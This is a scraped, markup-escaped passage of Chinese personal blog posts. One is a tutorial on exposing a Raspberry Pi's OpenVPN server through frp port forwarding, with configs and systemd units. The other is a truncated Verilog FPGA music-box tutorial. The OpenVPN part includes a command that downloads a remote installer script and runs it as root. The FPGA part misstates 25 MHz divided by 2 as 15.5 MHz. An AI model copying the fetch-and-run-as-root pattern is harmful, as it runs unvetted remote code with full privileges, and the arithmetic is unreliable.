class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_amd64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_amd64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003ebind_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 默认配置中监听的是 7000 端口,可根据自己实际情况修改。\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 服务端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frps.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"客户端\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"客户端\"\u003e\u003c/a\u003e客户端\u003c/h3\u003e\u003cp\u003e在树莓派上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_arm64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_arm64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# * 改为 FRP 服务端的公网 IP\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 为 FRP 服务端监听端口 上面配置端口对应\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_tcp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e tcp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_udp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e udp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# server_addr 为 FRP 服务端的公网 IP\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# server_port 为 FRP 服务端监听的端口\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 客户端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 先确保服务端启动了再启动客户端\u003c/span\u003e./frpc \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frpc.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样 frp 服务端就可以建立一个客户端连接了\u003c/p\u003e\u003ch3 id=\"设置-frp-开机自启\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E8%AE%BE%E7%BD%AE-frp-%E5%BC%80%E6%9C%BA%E8%87%AA%E5%90%AF\" class=\"headerlink\" title=\"设置 frp 开机自启\"\u003e\u003c/a\u003e设置 frp 开机自启\u003c/h3\u003e\u003cp\u003e客户端服务端操作大同小异\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e客户端是 \u003cstrong\u003e\u003ccode\u003efrpc\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrpc.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e服务端是 \u003cstrong\u003e\u003ccode\u003efrps\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrps.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e创建后台启动模版(服务端为例)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/systemd/system/frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eExecStart\u003c/code\u003e 根据自己放 \u003ccode\u003efrp\u003c/code\u003e 的目录选\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eUnit\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eDescription\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003efrps\u003cspan class=\"token assign-left variable\"\u003eAfter\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enetwork.target\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eService\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eExecStart\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/home/yk/frp/frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e /home/yk/frp/frps.ini\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eInstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eWantedBy\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emulti-user.target\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 启动测试\u003c/span\u003esystemctl start frps.service\u003cspan class=\"token comment\"\u003e# 查看启动状态\u003c/span\u003esystemctl status frps.service\u003cspan class=\"token comment\"\u003e# 开机自启\u003c/span\u003esystemctl \u003cspan class=\"token builtin class-name\"\u003eenable\u003c/span\u003e frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"OpenVPN-配置\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#OpenVPN-%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"OpenVPN 配置\"\u003e\u003c/a\u003eOpenVPN 配置\u003c/h2\u003e\u003cp\u003e在树莓派上操作(与运行)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里使用tun模式、tcp模式,比较容易搭建。手动搭建比较繁琐,我是直接使用一键搭建脚本。\u003c/p\u003e\u003cp\u003e脚本地址:\u003ca href=\"https://github.com/angristan/openvpn-install\"\u003ehttps://github.com/angristan/openvpn-install\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ecurl\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-O\u003c/span\u003e https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh\u003cspan class=\"token function\"\u003echmod\u003c/span\u003e +x openvpn-install.sh\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e ./openvpn-install.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e因为这里我没截图,就用参考博客的图了\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/frp_openvpn/3.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/frp_openvpn/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/frp_openvpn/5.webp\" alt=\"5\"/\u003e\u003c/p\u003e\u003cp\u003e然后启动 OpenVPN\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e# 启动测试systemctl start openvpn.service# 查看启动状态systemctl status openvpn.service# 开机自启systemctl enable openvpn.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在安装完成后,会生成一个以刚刚命名好的ovpn文件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/frp_openvpn/6.webp\" alt=\"6\"/\u003e\u003c/p\u003e\u003cp\u003e把这玩意下载下来\u003c/p\u003e\u003cp\u003e然后用文本编辑器打开并修改一处(应该是第三行)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eremote xxx.xxx.xxx.xxx \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#将默认的1194端口改成FRP转发端口21194(上面FRP客户端配置文件配置的)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e安装完成再次运行脚本,可选择 1)添加用户 2)移除已存在的用户 3)协助软件 4)退出\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"进行连接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/24b6/#%E8%BF%9B%E8%A1%8C%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"进行连接\"\u003e\u003c/a\u003e进行连接\u003c/h2\u003e\u003cp\u003e我是在手机上测试的\u003c/p\u003e\u003cp\u003e安装 OpenVPN 客户端,选择我们修改好的 ovpn 文件,连接\u003c/p\u003e\u003cp\u003e)就是速度嘛,理解万岁,看了看论坛还行\u003cspan class=\"carol_shuileshuile\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e还没整完。\u003c/p\u003e\u003cp\u003eUPDATE1 AT: 2022-12-22 继续完成了Music box 2 这一部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因为在学校收了一块野火征途mini FPGA开发板,在看的是配套的视频教程。群里学长推荐我做一做 fpga4fun 上的东西,那就整一整 ~\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e这个项目是用 FPGA 驱动喇叭发出声音和音乐。\u003c/p\u003e\u003cp\u003e硬件连接为 FPGA 开发板,一个喇叭,一个 1kΩ 电阻。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBox.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBoxSchematic.gif\"/\u003e\u003c/p\u003e\u003ch2 id=\"Music-box-1-Simple-beep\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#Music-box-1-Simple-beep\" class=\"headerlink\" title=\"Music box 1 -Simple beep\"\u003e\u003c/a\u003eMusic box 1 -Simple beep\u003c/h2\u003e\u003ch3 id=\"计数与频率\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E8%AE%A1%E6%95%B0%E4%B8%8E%E9%A2%91%E7%8E%87\" class=\"headerlink\" title=\"计数与频率\"\u003e\u003c/a\u003e计数与频率\u003c/h3\u003e\u003cp\u003e一个16位的计数器,范围位 0 ~ 65535 共65536个值,如果板子的主频为 25M ,如果在上升沿计数(时钟是个方波),那么这个16位计数器最高位对应的频率便为 $25\\times10^6\\div65536=381Hz$ \u003cstrong\u003e(就是加到对应那一位变化之后算一次)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e以此类推第15位为 $25\\times10^6\\div32768=762Hz$ , 第14位为 $25\\times10^6\\div16384=1525Hz$ …… 第2位为$25\\times10^6\\div4=6.25\\times10^6Hz$ , 第1位为$25\\times10^6\\div2=15.5\\times10^6Hz$\u003c/p\u003e\u003ch3 id=\"产生-A-的声音\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E4%BA%A7%E7%94%9F-A-%E7%9A%84%E5%A3%B0%E9%9F%B3\" class=\"headerlink\" title=\"产生 A 的声音\"\u003e\u003c/a\u003e产生 A 的声音\u003c/h3\u003e\u003cp\u003eA 的频率为 440Hz \u003c/p\u003e\u003cp\u003e以 25M 主频为例,产生440Hz可以先使用16位计数器,将 25M 分为 65536 份,此时计算出产生 440Hz 只需要计数到 56818 即可。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,占空比就不是 50% 了,$b’1000\\ 0000\\ 0000\\ 0000=d’32768$ ,所以低电平为 0\u003cdel\u003e32767,高电平为 32768\u003c/del\u003e56818,占空比为42%\u003c/p\u003e\u003cp\u003e所以可以折中一下,然后每次翻转 \u003ccode\u003espeaker\u003c/code\u003e 的电平值 ,而且折中之后可以省一位计数器的值~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"实践\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h3\u003e\u003cp\u003e因为征途mini的主频为50M,所以用17位可以产生的时钟为 $(2\\times25\\times10^6)\\div(2\\times65536)=381Hz$\u003c/p\u003e\u003cp\u003e要产生440Hz,计数到 $56818\\times2=113636$ 即可。\u003c/p\u003e\u003cp\u003e使用翻转的方式,使用16位计数器,折中计数至 56818,同时加上了复位信号\u003c/p\u003e\u003cp\u003e主程序代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter 